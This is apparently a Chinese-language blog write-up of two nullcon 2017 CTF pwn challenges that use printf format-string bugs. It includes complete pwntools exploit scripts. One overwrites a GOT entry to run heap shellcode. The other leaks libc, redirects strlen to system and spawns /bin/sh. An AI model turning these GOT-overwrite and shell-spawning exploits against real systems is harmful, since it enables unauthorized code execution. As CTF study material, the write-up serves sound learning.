2017 nullcon 两道格式化pwn题

Published: by Creative Commons Licence

忽然感觉有点久没有写pwn题,所以决定找几道pwn题来练手一下,推荐ctfs,这里面收集了近几年的ctf题目。

  • level1.bin

checksec 看一下程序开启的保护,发现只有canary,并且还有一个RWE的段,应该是没有开启DEP
用ida反编译看一下程序的代码,可以看到有两个漏洞,一个在search函数中printf格式化字符串漏洞,还有一个是delete函数中可以覆盖低地址两个字节的漏洞。不过后面的这个漏洞比较难以利用,所以选择第一个格式化字符串漏洞来做

   2017-nullcon-level1
   2017-nullcon-level1

思路很明确了,就是覆盖got表中的地址,指向堆地址,从而执行自己的shellcode

from pwn import *

context.log_level='debug'
io=process('level1.bin')
gdb.attach(io)

def insert(name,bid):
    io.sendline('1')
    io.sendlineafter('name',name)
    io.sendlineafter('id',str(bid))

def search(query):
    io.sendline('3')
    io.sendlineafter('query',query)
    io.recvuntil('with: ')

insert('\x90'*0x40+asm(shellcraft.sh()),1)
search("%7$x")
heap=int(io.recvline(),16)
addr={0x804B028:heap+0x30}
payload=fmtstr_payload(11,addr,write_size='short')
search(payload)
print hex(heap)
io.sendline('1')
io.interactive()
  • level2.bin

checksec 查看一下,发现开启了canary还有DEP
ida反编译查看代码,发现和上一道题一样是printf格式化字符串问题,并且还有一个栈溢出问题,不过开启了canary不能直接覆盖返回地址

   2017-nullcon-level2

for循环给了3次利用printf格式化字符串的机会(只用到两次)
1.先获得libc基地址
2.修改got上strlen的地址为system的地址,__stack_chk_fail的地址为validate的地址,溢出覆盖canary的值
3.输入name为/bin/sh

from pwn import *

io=remote('127.0.0.1',9002)
io.sendlineafter('name','%'+str(20*4+2)+'$x')
io.sendlineafter('password','%x')
io.recvuntil('name: ')
libc=int(io.recvline(),16)-0x00DDDB6
system=libc+0x0040310
got_strlen=0x804B03C
got_stack_check=0x804B024
validate=0x8048BEA
addr={got_strlen:system,got_stack_check:validate}
payload=fmtstr_payload(11,addr,numbwritten=43,write_size='short')
io.sendlineafter('password',('Nullcon20170'+payload).ljust(0x60,'a'))
io.sendlineafter('name','/bin/sh')
print hex(libc)
print hex(system)
io.interactive()